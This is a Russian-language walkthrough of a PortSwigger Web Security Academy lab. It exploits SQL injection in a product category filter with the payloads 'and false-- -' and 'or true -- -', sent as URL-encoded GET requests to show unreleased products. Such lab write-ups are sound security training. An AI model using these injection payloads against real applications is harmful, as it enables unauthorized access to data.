Эта лабораторная работа содержит уязвимость SQL injection в фильтре категорий продуктов. Когда пользователь выбирает категорию, приложение выполняет SQL-запрос, подобный следующему:
https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/
SELECT
*
FROM
products
WHERE
category = 'Gifts' AND released = 1
Чтобы решить лабораторную задачу, нужно выполнить атаку с помощью SQLi, в результате которой приложение должно отобразить один или несколько невыпущенных продуктов.
Solution
На странице вижу фильтр товаров:

При выборе какого либо из них меняется URL:
https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=Accessories
Мне известно, что это SQL-инъекция, а значит нужно было бы подобрать обрамление запроса, но сам запрос у меня есть из условия лабы:
SELECT
*
FROM
products
WHERE
category = 'Accessories' AND released = 1
Для обрамления используется одинарная кавычка, значит у нас должен сработать следующий вариант запроса:
SELECT
*
FROM
products
WHERE
category = 'Accessories' and false-- - AND released = 1
При таком запросе мы должны получить пустую страницу.
Для теста нам нужно передать значение Accessories' and false-- - через GET-запрос:
https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=Accessories%27%20and%20false%20--%20-

Для получения всех товаров передадим такое условие, которое всегда является истиным. Например a' or true -- -.
https://0ab900ec030c754b80e840ee008c0060.web-security-academy.net/filter?category=a%27%20or%20true%20--%20-
Мы получили весь список товаров)
До:

После:

Лаба пройдена:3 ☕